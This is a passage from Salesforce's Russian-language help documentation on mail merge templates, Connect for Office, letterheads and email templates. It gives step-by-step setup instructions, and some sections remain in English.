вкладке «Вставка» и выберите пункт «Поле».

c. Выберите пункт «Слияние» в раскрывающемся списке «Категории».

d. Выберите значениеMergeField в поле «Поля».

e. Вручную введите имя допустимого поля слияния (например,
Opportunity_LineItem_ProductName) в области «Имя поля» раздела
«Свойства поля». Для создания полного списка стандартных и настраиваемых полей, доступных в организациях
Salesforce, ознакомьтесь со статьей Выбор имен полей записи для стандартных писем.

f. Нажмите кнопку «OK».

Прим.: Чтобы создать полный список продуктов, связанных с возможностью, вставьте поле слияния
Opportunity_LineItem_Start внужнуюобластьдокумента. Затемвставьте всеполя слияния, которые
должныбыть добавленыдля каждогопродукта возможности. Чтобыобозначить конец списка, вставьтеполе
слияния Opportunity_LineItem_End.

8. Сохраните документ Word.

9. Перейдите к разделу «Загрузка шаблонов стандартных писем в Salesforce» на странице 1832.

Совет: Примите во внимание указанные ниже рекомендации.

• Шаблоныстандартныхписемнедолжныиметь свойство «защищенный» или «ограниченныйдоступ» в Microsoft
Word. Дополнительнуюинформациюозащищенныхдокументах Word см. винтерактивнойсправкеприложения
Word. (Чтобы открыть справку, нажмите клавишу F1.)
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• Шаблоныстандартныхписемнедолжныбытьсвязанысвнешнимиисточникамиданных (например, таблицами
Excel или базами данных Access). Дополнительную информацию о преобразовании документов стандартных
писем в стандартные документы Word см. в интерактивной справке приложения Word.

СМ. ТАКЖЕ:

Управление шаблонами стандартных писем

Рекомендации по использованию полей слияния в шаблонах стандартных писем

Стандартные письма

Создание шаблонов стандартных писем посредством приложения Microsoft® Word

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

When Salesforce disables TLS 1.0, we’re ending support for Connect for Office. Рекомендуем
использовать надстройку Word для приложения Connect for Office, поддерживающую
полный список полей слияния, доступных для вставки.

Важное замечание:  When Salesforce disables TLS 1.0, we’re ending support for Connect
for Office. This change means that there’s no guarantee that Connect for Office can establish
a connection between Salesforce and Microsoft® Word or Excel. Even if sales reps can establish
a connection, Salesforce no longer provides support or maintenance when there’s an issue.

Важное замечание: Каждая метка поля стандартного письма должна быть
уникальной.

1. Откройте приложение Microsoft Word.

2. ДействияПриложение

Выберите пункт «Вход» в раскрывающемся меню «Salesforce» на панели инструментов.Word 2003 или
более ранней
версии

Откройте вкладку ленты «salesforce.com», щелкните раскрывающееся меню «Поля слияния» и
выберите пункт «Вход».

Word 2007

3. Введите имя пользователя и пароль Salesforce.

4. Нажмите кнопку «Вход».

Прим.: Раскрывающаяся кнопка не поддерживает команду «Вход» после успешного входа и при наличии
активного сеанса. Чтобы выполнить выход, щелкните «Выход».

5. Создайте шаблон стандартного письма на основе текущего или пустого документа Word.

6. Установите курсорвнужнуюобласть документа.Чтобызаменить текущееполе слияния, выберитецелоеполе слияния
в шаблоне. Поля стандартного письма должны быть уникальными.

7. При использовании приложения Word 2003 или более ранней версии выберите пункт «Вставить поле слияния» в
раскрывающемся меню «Salesforce». При использовании приложения Word 2007 щелкните раскрывающееся меню
«Поля слияния» на вкладке ленты «salesforce.com» и выберите пункт «Вставить поле слияния».
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8. Выберитетипполяинужноеполеслияниявдиалоговомокне «Вставитьполяслияния». Дополнительнуюинформацию
об использовании продуктов в системе Salesforce см. в подразделе «Добавление данных продукта возможности в
шаблоны стандартных писем» на странице 1831.

9. Чтобы добавить поле слияния в нужную область документа Word, щелкните «Вставить».

10. При необходимости вставьте дополнительные поля слияния.

11. После созданияшаблона стандартныхписем загрузите его в систему Salesforceчерезменюнастроек. Для этого введите
строку «Шаблоны стандартных писем» в поле «Быстрый поиск», затем выберите пункт «Шаблоны стандартных
писем».

Добавление данных продукта возможности в шаблоны стандартных писем

Продукты доступны в версиях Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition.
Чтобы добавить данные продукта возможности в шаблон стандартного письма, выберите значение «Поля элемента
строки возможности» в диалоговом окне «Вставить поля слияния», а затем выберите нужные поля. Данное действие
вставляет таблицу, содержащуювыбранныеполя слиянияиспециальныеполяначалаиокончания. (Принеобходимости
загрузите образцы стандартныхшаблонов, содержащие таблицу данных продукта возможности.) Данная таблица может
быть изменена, но поле слияния Opportunity_LineItem_Start должно предшествовать всем полям слияния
продукта возможности, а поле слияния Opportunity_LineItem_End должно следовать за всеми полями слияния
продукта возможности. Данные поля начала и окончания позволяют системе Salesforce отображать все продукты
возможности.

Чтобы вставить поля слияния продукта в таблицу полей слияния продукта возможности без использования надстройки
Word от компании Salesforce, выполните указанные ниже действия.

1. Установите курсор в нужную область документа Word.

2. В приложении Word 2003 или более ранней версии выберите пункт «Вставка» в строке меню Word, а затем выберите
пункт«Поле». Вверсии Word 2007 нажмитекнопку«Экспресс-блоки» в группе «Текст» навкладке «Вставка» ивыберите
пункт «Поле».

3. Выберите пункт «Слияние» в раскрывающемся списке «Категории».

4. Выберите значениеMergeField в поле «Поля».

5. Вручнуювведитеимя допустимогополя слияния (например, Opportunity_LineItem_ProductName) в области
«Имя поля» раздела «Свойства поля».

6. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Установка приложения Connect for Office

Connect for Office. Требования к системе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Когда Salesforceотключает TLS 1.0, поддержкаприложенияConnect for Officeпрекращается.

Важное замечание: Когда Salesforce отключает TLS 1.0, поддержка приложения
Connect for Office прекращается. Это изменение означает отсутствие гарантии того,
что приложение Connect for Office сможет установить соединение между Salesforce
и Microsoft® Word или Excel. Даже если торговым представителям удастся
подключиться, Salesforce больше не предоставляет поддержку или обслуживание
при возникновении проблем.
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Ниже перечислены требования к системе для установки приложения Connect for Office.

• Microsoft® Office 2007

• Microsoft® Windows Vista® (только 32-разрядная версия) — до техпор, пока Salesforceнеотключит TLS 1.0, когдаподдержка
Windows Vista прекратится.

СМ. ТАКЖЕ:

Установка приложения Connect for Office

Загрузка шаблонов стандартных писем в Salesforce

ВЕРСИИ

This feature is available in
both Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки шаблонов
стандартных писем:
• «Управление

общедоступными
шаблонами»

Для редактирования
шаблонов стандартных
писем:
• «Управление

общедоступными
шаблонами»

Чтобы предоставить доступ к готовымшаблонам стандартных писем Microsoft Word,
администраторы или пользователи с полномочием «Управление общедоступными
шаблонами» должны загрузить шаблоны в систему Salesforce.

1. В Salesforce в разделе «Настройка» введите «Шаблоны стандартных писем» в поле
«Быстрый поиск», затем выберите «Шаблоны стандартных писем».

2. Нажмите кнопку «Создатьшаблон».

3. Введитеимяиописаниешаблона. Данныесведенияпомогутпользователямвыбрать
правильныйшаблон при создании документов стандартных писем.

Если организация использует расширенные стандартные письма, выберите
соответствующий тип документа: «Документ», «Наклейка» или «Конверт».

4. Чтобы выбрать шаблон стандартного письма Word, нажмите кнопку «Обзор».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Управление шаблонами стандартных писем

Общие сведения о полях слияния

Стандартные письма
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Использование фирменных бланков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
фирменных бланков:
• «Управление

фирменнымибланками»

Фирменный бланк определяет логотип, цвет страницы и параметры текста для
HTML-шаблонов эл. почты. Рекомендуем создать один фирменный бланк для
использования во всех HTML-шаблонах эл. почты. Созданныефирменные бланкимогут
быть доступны всем пользователям организации.

Чтобы использовать фирменные бланки в разделе «Настройка» введите «Фирменные
бланки» в разделе «Быстрый поиск», затем выберите «Фирменные бланки».

Ниже перечислены действия, доступные в списке «Фирменные бланки».

• Чтобыпросмотретьфирменныйбланк, выберите имя нужногофирменного бланка
в списке.

• Чтобы изменить фирменный бланк, щелкните имя нужного фирменного бланка в
списке и выберите параметр редактирования: «Редактировать свойства» или
«Редактироватьфирменный бланк».

• Чтобыудалитьфирменныйбланк, щелкнитессылку«Удал.»напротивименинужного
фирменного бланка. Фирменный бланк, используемый HTML-шаблоном эл. почты,
не может быть удален.

СМ. ТАКЖЕ:

Создание письменного бланка

Поля фирменного бланка

Создание письменного бланка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
фирменных бланков:
• «Управление

фирменнымибланками»

Фирменные бланки определяют внешний вид и стиль HTML-шаблонов эл. почты.
HTML-шаблоны эл. почты могут наследовать логотип, цвет и параметры текста от
фирменного бланка.

Фирменныйбланксодержитсвойстваисведения. Свойстваотображаютсятольковнутри
организации и используются для определения фирменного бланка. Сведения
применяются к сообщению эл. почты, использующемуфирменный бланк. Свойства и
сведения фирменного бланка могут быть созданы посредством специального мастера.

1. Введите строку «Фирменные бланки» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Фирменные бланки».

2. Нажмите кнопку «Создатьфирменный бланк».

Настройка свойств фирменного бланка

1. Чтобыпредоставитьпользователямдоступкновомуфирменномубланку, установите
флажок «Доступно для использования».

2. Заполнитеполе «Метка фирменного бланка». Меткаиспользуетсядляобозначения
фирменного бланка на страницах пользовательского интерфейса.

3. Принеобходимостиизменитепараметр «Уникальное имя фирменного бланка». Данноеуникальноеимяиспользуется
для обращения к компоненту посредством Force.com API. Данное уникальное имя позволяет избежать конфликтов
имен при установке управляемых пакетов. Данное имя должно быть уникальным и может содержать только буквы,
цифры и символы подчеркивания. Имя должно начинаться с буквы; не может содержать пробелов и двух
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последовательных символов подчеркивания, а также не может заканчиваться символом подчеркивания.Поле
«Уникальное имя фирменного бланка» позволяетразработчикуменятьименанекоторыхкомпонентовуправляемого
пакета; данные изменения отображаются в организации подписчика.

4. Введите описание для данногофирменного бланка. Имя и описаниефирменного бланка предназначены только для
внутреннего пользования.

5. Нажмите кнопку «Сохранить». При этом откроется страница сведений о фирменном бланке.

Настройка сведений о фирменном бланке

1. Укажите атрибуты фирменного бланка.

• Чтобы выбрать цвет фона для фирменного бланка, щелкните «Редактировать цвет фона». Чтобы выбрать
нужный цвет, нажмите кнопку выбора цвета.

• Чтобы выбрать цвет, выравнивание и высоту верхнего раздела фирменного бланка, щелкните «Редактировать
свойства верхнего колонтитула».

• Чтобы добавить логотип компании в верхний или нижний раздел фирменного бланка, щелкните «Выбрать
логотип».

Прим.: Логотип следует предварительно загрузить на вкладку «Документы». Обязательно добавьте для
документа отметку «Доступен внешне как изображение», чтобы его могли просматривать получатели, не
зарегистрированные в системе Salesforce. Дополнительную информацию см. в разделе «Загрузка и замена
документов» интерактивной справки Salesforce.

Чтобывыбратьизображение, выберитепапкуищелкнитеимянужногодокумента. Принеобходимостищелкните
«Поиск в документах» и введите имя нужного файла для поиска документа по имени.

• Чтобы удалить изображение из фирменного бланка, щелкните «Удалить логотип».

• Чтобы выбрать цвет и высоту верхней горизонтальной линии, щелкните «Редактировать верхнюю линию».
Чтобы выбрать нужный цвет, нажмите кнопку выбора цвета.

• Чтобы выбрать цвет фона для основного текста фирменного бланка, щелкните «Редактировать цвет текста».

• Чтобы выбрать цвет и высоту средней горизонтальной линии, щелкните «Редактировать среднюю линию».
Чтобы выбрать нужный цвет, нажмите кнопку выбора цвета.

• Чтобы выбрать цвет, выравнивание и высоту нижнего раздела фирменного бланка, щелкните «Редактировать
свойства нижнего колонтитула».

• Чтобы выбрать цвет и высоту нижней горизонтальной линии, щелкните «Редактировать нижнюю линию».
Чтобы выбрать нужный цвет, нажмите кнопку выбора цвета.

2. Чтобы просмотреть фирменный бланк в отдельном окне обозревателя, нажмите кнопку «Предварительный
просмотр».

3. Нажмите кнопку «Сохранить».

Дополнительнуюинформациюо создании HTML-шаблонов эл. почты, содержащих параметрыфирменного бланка, см.
в разделе «Создание HTML-шаблонов эл. почты» на странице 2232.

СМ. ТАКЖЕ:

Управление шаблонами эл. почты

Создание настраиваемых HTML-шаблонов эл. почты
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Поля фирменного бланка
Здесь в алфавитном порядке даны описания полей на странице сведений о фирменном бланке.

ОписаниеПоле

Флажок, указывающий, что фирменный бланк можно
применить к HTML-шаблону.

Доступно для использования

Имя пользователя, создавшего фирменный бланк, а также
дата и время создания.

Создано

Текст, помогающий отличить данныйфирменный бланк
от остальных.

Описание

Внутреннее имя для идентификациифирменного бланка.Метка фирменного бланка

Данное уникальное имя используется для обращения к
компонентупосредством Force.com API. Данное уникальное

Уникальное имя фирменного бланка

имя позволяет избежать конфликтов имен при установке
управляемыхпакетов. Данноеимядолжнобытьуникальным
и может содержать только буквы, цифры и символы
подчеркивания. Имя должноначинаться с буквы; неможет
содержать пробелов и двух последовательных символов
подчеркивания, а также не может заканчиваться символом
подчеркивания.Поле «Уникальное имя фирменного
бланка» позволяет разработчикуменять именанекоторых
компонентов управляемого пакета; данные изменения
отображаются в организации подписчика.

Имя пользователя, который в последний раз изменял
фирменный бланк, в том числе дата и время.

Изменено

Префикспространстваимен, используемыйшаблономэл.
почты в API.

Префикс пространства имен

СМ. ТАКЖЕ:

Создание письменного бланка
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Управление шаблонами эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии

Пакетная электронная
рассылка недоступна в
версиях: Personal Edition,
Contact Manager и Group
Edition.

HTML-шаблоны эл. почты и
шаблоны эл. почты
Visualforce недоступны в
версиях: Personal Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
HTML-шаблонов эл. почты:
• «Редактирование

HTML-шаблонов»

Для создания илиизменения
шаблонов эл. почты
Visualforce:
• «Настройка

приложения»

Для создания илиизменения
папок с общедоступными
шаблонами эл. почты:
• «Управление

общедоступными
шаблонами»

СистемаSalesforce Classicпозволяет создаватьчетыретипашаблоновэл. почты: текстовый,
HTML сфирменнымбланком, настраиваемыйи Visualforce. Все перечисленныешаблоны
эл. почтымогутсодержатьтекст, поляслиянияивложенныефайлы. Крометого, шаблоны
HTML и Visualforce поддерживают добавление изображений. Шаблоны эл. почты могут
использоватьсядляотправкисообщенийэл. почтыизсвязанногосписказаписи «Журнал
действий». Кроме того, текстовые и HTML-шаблоны могут использоваться в пакетных
электронных рассылках. Орфографию текстовыхшаблонов ишаблонов Visualforce без
HTML-тегов можно проверить с помощью специальной кнопки.

• Текст: всепользователимогут создаватьилиизменять текстовыешаблоныэл. почты.
См. раздел «Создание текстовых шаблонов эл. почты» на странице 1839.

• HTML с фирменным бланком: администраторы и пользователи с полномочием
«Редактирование HTML-шаблонов» могут создавать HTML-шаблоны эл. почты на
основе фирменного бланка. См. раздел «Создание HTML-шаблонов эл. почты» на
странице 2232.

• Настраиваемый HTML: администраторы и пользователи с полномочием
«Редактирование HTML-шаблонов» могут создавать настраиваемые HTML-шаблоны
эл. почты без использования фирменного бланка. HTML-код для вставки в шаблон
эл. почты должен быть доступен или получен. См. раздел «Создание настраиваемых
HTML-шаблонов эл. почты» на странице 2230.

• Visualforce: администраторыиразработчикимогут создаватьшаблоныпосредством
Visualforce. Шаблоны эл. почты Visualforce поддерживают расширенное слияние с
данными получателя в том случае, если содержимое шаблона охватывает сведения
из нескольких записей. См. раздел «Создание шаблонов эл. почты Visualforce».

Прим.: Шаблон эл. почты Visualforce не поддерживает пакетные электронные
рассылки.

Чтобы получить доступ к шаблонам эл. почты, выполните одно из указанных ниже
действий.

• Если у вас есть полномочие на изменение опубликованныхшаблонов, в разделе
«Настройка» введите «Шаблоны эл. почты» в поле «Быстрый поиск», затем
выберите «Шаблоны эл. почты».

• Приотсутствиитакихполномочийперейдите кличнымпараметрам. Введите строку
«Шаблоны» вполе «Быстрый поиск» ивыберите «Шаблоныэл. почты»или «Мои
шаблоны».

• Чтобы открыть страницу «Просмотр шаблонов эл. почты», щелкните имя любого
шаблона эл. почты.

• Чтобы изменить или удалить шаблон, щелкните ссылку «Правка» или «Удал.» напротив имени нужного шаблона
в списке.

• Чтобы создать шаблон эл. почты любого типа, нажмите кнопку «Создатьшаблон».

Прим.: Шаблоны эл. почты, используемые указанными ниже функциями, должны быть общедоступными и
активными.

• Web-to-Lead

• Web-to-Case
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• Email-to-Case или On-Demand Email-to-Case

• Правила назначения

• Правила расширения

• Правила автоматического ответа

СМ. ТАКЖЕ:

Клонирование шаблонов эл. почты

Использование фирменных бланков

Индивидуальная настройка системы Salesforce
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Просмотр шаблонов эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Пакетная электронная
рассылка недоступна в
версиях: Personal Edition,
Contact Manager и Group
Edition.

HTML-шаблоны эл. почты и
шаблоны эл. почты
Visualforce недоступны в
версиях: Personal Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
HTML-шаблонов эл. почты:
• «Редактирование

HTML-шаблонов»

Для создания илиизменения
шаблонов эл. почты
Visualforce:
• «Настройка

приложения»

Для создания илиизменения
папок с общедоступными
шаблонами эл. почты:
• «Управление

общедоступными
шаблонами»

Чтобы просмотреть шаблон, щелкните имя нужного шаблона в списке. Доступные
параметры определяются типомшаблона (настраиваемый, HTML, Visualforce или текст).

• Прииспользованиитекстовыхшаблонов: чтобыизменить содержимое сообщения,
тему или поля слияния, нажмите кнопку «Правка».

• При использовании настраиваемых и HTML-шаблонов:

– Чтобы изменить содержимое или поля слияния HTML-версии, нажмите кнопку
«Редактировать HTML-версию».

Прим.: Все настраиваемыеи HTML-шаблоны электроннойпочты содержат
текстовую версию для получателей, которым недоступен просмотр
HTML-сообщений эл. почты. Текстовая версия создается вручную или
автоматически при редактировании HTML-версии.

– Чтобыизменитьсодержимоеилиполяслияниятекстовойверсии, нажмитекнопку
«Редактировать текстовую версию».

Внимание: Рекомендуется пропустить текстовую версию. В этом случае
система Salesforce автоматически создает текстовое содержимое на основе
текущей HTML-версии. При вводе содержимого вручную все последующие
изменения HTML-версии не отображаются в текстовой версии.

• При использованиишаблонов Visualforce:

– Чтобыизменитьразметку страницышаблона, нажмите кнопку «Редактировать
шаблон».

– Связанный список «Вложения Visualforce» содержит вложения, созданные
посредством разметки Visualforce.

– Если разметка Visualforce ссылается на компоненты установленных управляемых
пакетов, то связанный список «Параметры версии» отображает версии
установленных пакетов, содержащих данные компоненты. Компоненты
установленныхуправляемыхпакетовмогутпредставлятьсобой, например, другой
класс, триггер, настраиваемый объект.

– Еслишаблонэл. почтысодержитзашифрованныеданные, учтите, чтоэтиданные
отображаются зашифрованнымивнутрисозданногосообщения эл. почтыипри
просмотре страницышаблона Visualforce. Эти данные не отображаются в виде
обычного текста по соображениям безопасности.

• Чтобыпросмотретьобразецшаблона, заполненногоданнымиизвыбранныхзаписей,
иотправитьтестовоеэл. сообщение, нажмитекнопку«Отправитьтестовоесообщениеипроверитьполяслияния».

• Нажмите кнопку «Вложитьфайл» в связанном списке «Вложения». Вложенныйфайл добавляется во все сообщения
эл. почты, созданные на основе данного шаблона.

Чтобы выбрать файл, выполните указанные ниже действия.

– Чтобы выполнить поиск файлов на вкладке «Документы», перейдите по ссылке «Поиск в документах». Для
выбранного изображения логотипа или другого графическогофайла установитефлажок «Внешний доступ» на
вкладке «Документы».

– Как вариант, чтобы выбрать локальныйфайл или файл из папки документов, воспользуйтесь раскрывающимся
списком «Расположениефайла».
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• Чтобы выбрать другого автора, щелкните ссылку «[Изменить]» напротив поля «Автор» при наличии полномочия
«Управление общедоступнымишаблонами». По умолчанию автором считается пользователь, создавшийшаблон
эл. почты.

• Чтобы удалить шаблон, нажмите кнопку «Удалить».

• Чтобы клонировать шаблон, нажмите кнопку «Клонировать». Дополнительную информацию см. в разделе
«Клонирование шаблонов эл. почты» на странице 1844.

• В режиме разработчика, чтобы просмотреть компоненты, используемые шаблоном, нажмите кнопку «Показать
зависимости».

Создание текстовых шаблонов эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии

Пакетная электронная
рассылка недоступна в
версиях: Personal Edition,
Contact Manager и Group
Edition.

HTML-шаблоны эл. почты и
шаблоны эл. почты
Visualforce недоступны в
версиях: Personal Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
папок с общедоступными
шаблонами эл. почты:
• «Управление

общедоступными
шаблонами»

Дляполучателей, неимеющихвозможностичитать сообщениявформате HTML, можно
создавать шаблоны эл.почты в виде обычного текста.

1. Выполните одно из указанных ниже действий.

• Если у вас есть полномочие на изменение опубликованныхшаблонов, в разделе
«Настройка» введите «Шаблоны эл. почты» в поле «Быстрый поиск», затем
выберите «Шаблоны эл. почты».

• При отсутствии таких полномочий перейдите к личным параметрам. Введите
строку «Шаблоны» вполе «Быстрый поиск» ивыберите «Шаблоныэл. почты»
или «Моишаблоны».

2. Нажмите кнопку «Создатьшаблон».

3. Выберите тип шаблона «Текст» и нажмите кнопку «Далее».

4. Выберите папку для хранения шаблона.

5. Чтобы разрешить использование шаблона, установите флажок в поле «Доступно
для использования».

6. Заполните поле «Имя шаблона эл. почты».

7. Принеобходимостиизмените значениеполя «Уникальное имя шаблона». Данное
уникальное имя используется для обращения к компоненту посредством Force.com
API. Уникальность имени позволяет избежать конфликтов имен при установке
управляемых пакетов. Данное имя должно быть уникальным и может содержать
только буквы, цифры и символы подчеркивания. Имя должно начинаться с буквы;
не может содержать пробелов и двух последовательных символов подчеркивания,
а также не может заканчиваться символом подчеркивания.Поле «Уникальное имя
шаблона» позволяет менять имена некоторых компонентов управляемого пакета;
данные изменения отображаются в организации подписчика.

8. При необходимости выберите другой набор символов в раскрывающемся меню «Кодировка».

9. Заполните поле «Описание». Имя и описание шаблона предназначены только для внутреннего пользования.

10. Заполните поле «Тема».

11. Введите текст сообщения.

12. При необходимости добавьте поля слияния в тему и текст шаблона. При отправке эл. почты эти поля заменяются
сведениями из записей.

13. Нажмите кнопку «Сохранить».
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Совет: Чтобыпросмотреть образецшаблона, заполненный даннымииз выбранных записей, и отправить тестовое
сообщение эл. почты, щелкните «Отправить тестовое сообщение и проверить поля слияния».

Вложение файлов в шаблоны

Чтобы добавить вложение в шаблон, выполните указанные ниже действия.

1. Выполните одно из указанных ниже действий.

• Если у вас есть полномочие на изменение опубликованныхшаблонов, в разделе «Настройка» введите «Шаблоны
эл. почты» в поле «Быстрый поиск», затем выберите «Шаблоны эл. почты».

• Приотсутствиитакихполномочийперейдитекличнымпараметрам. Введите строку «Шаблоны» вполе «Быстрый
поиск» и выберите «Шаблоны эл. почты» или «Моишаблоны».

2. Выберите нужныйшаблон.

3. Нажмите кнопку «Вложитьфайл» на странице редактирования шаблона эл. почты.

4. Выберите нужную папку и щелкните имя документа или щелкните ссылку «Поиск в документах» и введите имя
нужного файла для поиска документа по имени.

Чтобы вложить локальныйфайл, щелкните «Мой компьютер».

Вложенныйфайлдобавляетсявовсе сообщенияэл. почты, созданныенаосноведанногошаблона. Вложения, добавленные
в пакетную электронную рассылку, отправляются в виде ссылок, а не файлов (см. раздел «Пакетная отправка эл. почты»
на странице 1742).

СМ. ТАКЖЕ:

Управление шаблонами эл. почты

Создание шаблонов эл. почты Visualforce

Индивидуальная настройка системы Salesforce

Использование панели форматирования
Рекомендуем использовать панель форматирования для редактирования текста в HTML. Выделите нужный текст и
примените соответствующий параметр.

ОписаниеПараметр

Выберите стиль символов. Выделите нужный текст и примените соответствующийшрифт.Шрифт

Выберите размер символов. Выделите нужный текст и примените соответствующий размер.Размер

Вставьтеизображениеизбиблиотекидокументов. Данныйпараметрнедоступенпривыполнении
некоторых действий (например, создание настраиваемых компонентов начальной страницы).

Выбор цвета фона

Выбор цвета текста

Полужирный

Курсив
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ОписаниеПараметр

Подчеркнутый

Вставьтеновуюилиизменитетекущуюгиперссылку. Выделитенужныйтекст, нажмитеданную
кнопку и введите URL-адрес ссылки. Чтобы использовать поле слияния (например,
{!Case_Link}) в качестве целевой ссылки, добавьте нужное поле слияния после префикса
http://.

Выравнивание текста по левому краю

Выравнивание текста по центру

Выравнивание текста по правому краю

Создание маркированного списка

Создание нумерованного списка

Увеличение отступа текста

Уменьшение отступа текста
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Создание настраиваемых HTML-шаблонов эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии

Пакетная электронная
рассылка недоступна в
версиях: Personal Edition,
Contact Manager и Group
Edition.

HTML-шаблоны эл. почты и
шаблоны эл. почты
Visualforce недоступны в
версиях: Personal Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых
HTML-шаблонов эл. почты:
• «Редактирование

HTML-шаблонов»

Для создания илиизменения
папок с общедоступными
шаблонами эл. почты:
• «Управление

общедоступными
шаблонами»

Настраиваемые HTML-шаблоныэл. почтыможносоздаватьбезиспользованияфирменных
бланков. Код HTML можно копировать и вставить непосредственно в шаблон.

1. Выполните одно из указанных ниже действий.

• Если у вас есть полномочие на изменение опубликованныхшаблонов, в разделе
«Настройка» введите «Шаблоны эл. почты» в поле «Быстрый поиск», затем
выберите «Шаблоны эл. почты».

• При отсутствии таких полномочий перейдите к личным параметрам. Введите
строку «Шаблоны» вполе «Быстрый поиск» ивыберите «Шаблоныэл. почты»
или «Моишаблоны».

2. Нажмите кнопку «Создатьшаблон».

3. Установите переключатель «Настраиваемый (без использования фирменного
бланка)» и нажмите кнопку «Далее».

4. Выберите папку для хранения шаблона.

5. Чтобы разрешить использование шаблона, установите флажок в поле «Доступно
для использования».

6. Заполните поле «Имя шаблона эл. почты».

7. Принеобходимостиизмените значениеполя «Уникальное имя шаблона». Данное
уникальное имя используется для обращения к компоненту посредством Force.com
API. Уникальность имени позволяет избежать конфликтов имен при установке
управляемых пакетов. Данное имя должно быть уникальным и может содержать
только буквы, цифры и символы подчеркивания. Имя должно начинаться с буквы;
не может содержать пробелов и двух последовательных символов подчеркивания,
а также не может заканчиваться символом подчеркивания.Поле «Уникальное имя
шаблона» позволяет менять имена некоторых компонентов управляемого пакета;
данные изменения отображаются в организации подписчика.

8. При необходимости выберите другой набор символов в раскрывающемся меню
«Кодировка».

9. Заполните поле «Описание». Имя и описаниешаблона предназначены только для
внутреннего пользования. Описание используется как заголовок любого действия
эл. почты, регистрируемого при отправке пакетных электронных рассылок.

10. Нажмите кнопку «Далее».

11. Заполните поле «Тема».

12. Введите в сообщение исходный текст в формате HTML. Добавьте HTML-теги.

Прим.: Рекомендуем загружать изображения на вкладку «Документы», а затем использовать ссылки на копии
изображений, хранящихся на нашем сервере. Например:

<img src="https://na2.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo"
height="64" width="64"/>
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13. Принеобходимостидобавьтеполя слиянияв темуи текстшаблона. Данныеполя заменяютсяинформациейиз записи
интереса, контакта, организации, возможности, обращения или решения при отправке сообщения эл. почты.

14. Нажмите кнопку «Далее».

15. Чтобы автоматически вставлять текст HTML-версии без HTML-тегов, введите текстовую версию сообщения эл. почты
илищелкните «Копировать текст из HTML-версии». Текстовая версия доступна получателям, которые не могут
просматривать HTML-сообщения эл. почты.

Внимание: Рекомендуемпропустить текстовуюверсию. В этом случае система Salesforce автоматически создает
текстовое содержимое на основе текущей HTML-версии. При вводе содержимого вручную все последующие
изменения HTML-версии не отображаются в текстовой версии.

16. Нажмите кнопку «Сохранить».

Совет: Чтобыпросмотреть образецшаблона, заполненный даннымииз выбранных записей, и отправить тестовое
сообщение эл. почты, щелкните «Отправить тестовое сообщение и проверить поля слияния».

Прим.: Содержимое настраиваемого HTML-шаблона, выбранного для использования в сообщении эл. почты, не
может быть изменено.

СМ. ТАКЖЕ:

Создание шаблонов эл. почты Visualforce

Клонирование шаблонов эл. почты

Индивидуальная настройка системы Salesforce

Создание HTML-шаблонов эл. почты

Создание шаблонов эл. почты Visualforce

Создание письменного бланка

Добавление изображений в шаблоны эл. почты

Индивидуальная настройка системы Salesforce
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Клонирование шаблонов эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: All
Editions

Пакетная электронная
рассылка недоступна в
версиях: Personal Edition,
Contact Manager и Group
Edition.

HTML-шаблоны эл. почты и
шаблоны эл. почты
Visualforce недоступны в
версиях: Personal Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
HTML-шаблонов эл. почты:
• «Редактирование

HTML-шаблонов»

Для создания илиизменения
шаблонов эл. почты
Visualforce:
• «Настройка

приложения»

Для создания илиизменения
папок с общедоступными
шаблонами эл. почты:
• «Управление

общедоступными
шаблонами»

Клонированиешаблонаэл. почтыподразумевает сохранение готовогошаблонасновым
именем.

1. Выполните одно из указанных ниже действий.

• Если у вас есть полномочие на изменение опубликованныхшаблонов, в разделе
«Настройка» введите «Шаблоны эл. почты» в поле «Быстрый поиск», затем
выберите «Шаблоны эл. почты».

• При отсутствии таких полномочий перейдите к личным параметрам. Введите
строку «Шаблоны» вполе «Быстрый поиск» ивыберите «Шаблоныэл. почты»
или «Моишаблоны».

2. Щелкните имя нужного шаблона эл. почты в списке.

3. Нажмите кнопку «Клонировать».

4. Выберите папку для хранения шаблона.

5. To make the template available for use, select the Available For Use  checkbox.

6. Enter a name in Email Template Name.

7. Заполнитеполе «Описание». Both template name and the description are for your internal
use only.

8. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce
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Добавление изображений в шаблоны эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: All
Editions

Пакетная электронная
рассылка недоступна в
версиях: Personal Edition,
Contact Manager и Group
Edition.

HTML-шаблоны эл. почты и
шаблоны эл. почты
